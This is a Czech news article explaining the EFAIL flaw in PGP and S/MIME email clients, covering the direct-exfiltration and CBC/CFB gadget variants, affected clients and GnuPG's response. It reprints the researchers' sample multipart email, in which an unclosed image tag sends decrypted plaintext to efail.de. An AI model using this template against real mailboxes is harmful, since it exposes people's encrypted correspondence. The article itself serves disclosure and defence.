Hlavní navigace

Chyba EFAIL umožňuje číst zprávy zašifrované pomocí PGP a S/MIME

Petr Krčmář

Zranitelnost EFAIL zneužívá nedokonalosti v e-mailových klientech, kteří jsou ochotni poslat dešifrovanou zprávu útočníkovi v otevřené podobě. Objevitelé doporučují dočasně vypnout podporu PGP (GPG) a S/MIME.

Doba čtení: 5 minut

Vědci z univerzit v Münsteru, Ruhru a Leuvenu objevili zranitelnost e-mailových klientů s podporou GPG a S/MIME. Ty jsou ochotny na požádání vzdálenému útočníkovi dešifrovat a poslat libovolný mail patřící uživateli. Zranitelné jsou přinejmenším tyto kombinace: Thunderbird s Enigmail, Apple Mail s GPGTools a Outlook s Gpg4win.

Detaily o chybě měly být zveřejněny později, ale protože informace začaly postupně prosakovat, byl web EFAIL.de spuštěn dříve a s ním byly uvolněny všechny podrobnosti [PDF]. Proti zranitelnosti zatím neexistuje žádná ochrana, uživatelům je tedy doporučováno zatím vypnout podporu zmíněných rozšíření v klientech.

Nejde o jednu zranitelnost, ale spíše o zneužití kaskády nedokonalostí kombinace šifrovacích nástrojů a e-mailových klientů. Problém zneužívá především toho, že se zpráva může skládat z několika částí a ty jsou po dešifrování předány k interpretaci HTML jádru. To ovšem už netuší, která část byla původně zašifrována a k obsahu výsledného souboru se chová jako k jedné zprávě.

Mám zašifrovanou zprávu

Útočník musí v první řadě získat zašifrovanou zprávu, která ho zajímá. To je možné mnoha různými způsoby, jednak odposlechem komunikace nebo třeba prolomením zabezpečení uživatelovy schránky. Do ní má také přístup správce serveru, který si může poštu jednoduše zkopírovat. V každém případě by za normálních okolností žádný z těchto postupů nevedl k přečtení obsahu pošty, který je možné dešifrovat jen privátním klíčem drženým na uživatelově počítači.

Zároveň vůbec nezáleží na tom, jak stará daná zpráva je. Může jít o záznam velmi staré komunikace. Rozhodující je, zda má uživatel ve svém počítači stále ještě patřičný privátní klíč. Útočník ho není schopen získat, ale to ani není v tomto případě potřeba. Všechnu práci udělá nic netušící klient sám.

Zneužití HTML k vynesení informací

V první variantě útoku sestaví záškodník nový e-mail, který bude mít tři části (multipart). První a poslední jsou kusy HTML e-mailu, mezi nimi je vložen původní zašifrovaný obsah. Takto sestavená zpráva vypadá následovně:

From: attacker@efail.de
To: victim@company.com
Content-Type: multipart/mixed;boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://efail.de/
--BOUNDARY
Content-Type: application/pkcs7-mime;
  smime-type=enveloped-data
Content-Transfer-Encoding: base64

M/AGCScIGSIb3DQERA6CAMIACAQAxggEXNa/B0w/B…
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY--

Všimněte si, že v první HTML části je tag pro načtení obrázku, ale jeho adresa není ukončena. Ukončení je až v poslední části zprávy. Mezi tím je šifrovaný obsah původního ukořistěného e-mailu. Takto připravenou zprávu útočník pošle oběti.

Uživatelův poštovní klient nejprve pomocí privátního klíče dešifruje střední část mailu, všechny tři část slepí k sobě a předá je ke zpracování HTML jádru. Výsledkem je požadavek na stažení obrázku, jehož adresa obsahuje celý dešifrovaný obsah původní zprávy. Ten si už jen útočník na svém serveru vyzvedne.

https://efail.de/Tajna%20zprava%20pro%20tebe

Tento postup funguje jak pro zprávy zašifrované pomocí GPG, tak i s S/MIME. Mělo by být poměrně snadné mu v e-mailových klientech zabránit. Buďto je možné vypnout integraci šifrování v klientech a dešifrovat v externí aplikaci, nebo je možné vypnout podporu HTML, případně je možné do klientů zavést záplaty, které podobnému chování zabrání.

CBC/CFB Gadget Attack

Kromě výše popsané zranitelnosti popisuje EFAIL ještě další variantu, která je zcela nová a zneužívá blokové šifry. Je možné ji použít proti OpenPGP (CVE-2017–17688) i S/MIME (CVE-2017–17689). Předpokládá, že útočník zná alespoň část otevřeného textu zprávy. V případě S/MIME je například jasné, že zpráva začíná textem:

Content-type: multipart/signed

Útočník tedy zná první blok zprávy a poté se jej snaží nahradit vlastním obsahem, v tomto případě opět neukončeným HTML tagem pro načtení obrázku. Pokud se to podaří, je přímo do obsahu šifrované zprávy vložen tag, který při dešifrování a interpretaci HTML jádrem opět způsobí odeslání zprávy na server.

Schéma popisující vytváření podvrženého bloku

Rozdíl proti první variantě útoku je v tom, že tento bude fungovat proti všem klientům, přestože dbají na standardy. Každý tvůrce pak může vytvořit vlastní ochranu proti takové úpravě, ale záleží na konkrétním klientu, jak se k dané věci postaví.

Podle autorů dokumentu byla pozorována úspěšnost přibližně 33 %. Celkově je EFAIL možné použít proti 25 z 35 S/MIME klientů a 10 z 28 GPG klientů. Z dlouhodobého hlediska bude potřeba upravit standardy tak, aby nebylo možné takto jednoduše alternativní bloky generovat a využívat.

Dopad EFAIL na konkrétní klienty

Chyba e-mailových klientů

K situaci se oficiálně v e-mailové tiskové zprávě vyjádřil projekt GnuPG. Důrazně upozorňuje na to, že nejde o chybu v šifrovacích nástrojích, ale o špatně implementované e-mailové klienty. GnuPG má problém s podvrženými bloky už téměř dvacet let vyřešený a velmi nahlas a důrazně protestuje proti zprávě, která nemá přiložený kontrolní kód MDC (Modification Detection Code):

gpg: WARNING: message was not integrity protected

Stejně tak se objeví velké varování, pokud se ukáže, že byla zpráva modifikována. Pokud váš klient tato varování respektuje a zachová se správně – konkrétně vám zprávu neukáže – jste před útokem EFAIL plně chráněni. Jde jen o novou variantu něčeho, co už máme dvacet let vyřešené, píše ve vyjádření Robert J. Hansen.

MIF18 tip v článku Steiner

Pokud si tedy chcete být jisti, že jste proti EFAIL chráněni, měli byste mít aktuální verzi GnuPG (současná je 2.2) a součástí integrace do e-mailového klienta by měla být kontrola MDC. Nejedná se o chybu GnuPG. Je to útok na rozbité e-mailové klienty, kteří ignorují varování a dělají hloupé věci i přes upozornění, ohrazuje se projekt proti původní zprávě, jejíž název by mohl v uživatelích vyvolat dojem, že na vině je právě šifrovací utilita.

Nejpodstatnější na celé zprávě je podle GnuPG to, že prověřila jednotlivé klienty. Autoři odvedli dobrou práci tím, že katalogizovali rozbité e-mailové klienty. Jsme jim za to vděčni, jen bychom byli rádi, kdyby to udělali bez zbytečného humbuku. Hodně lidí to zbytečně vyděsilo.

Našli jste v článku chybu?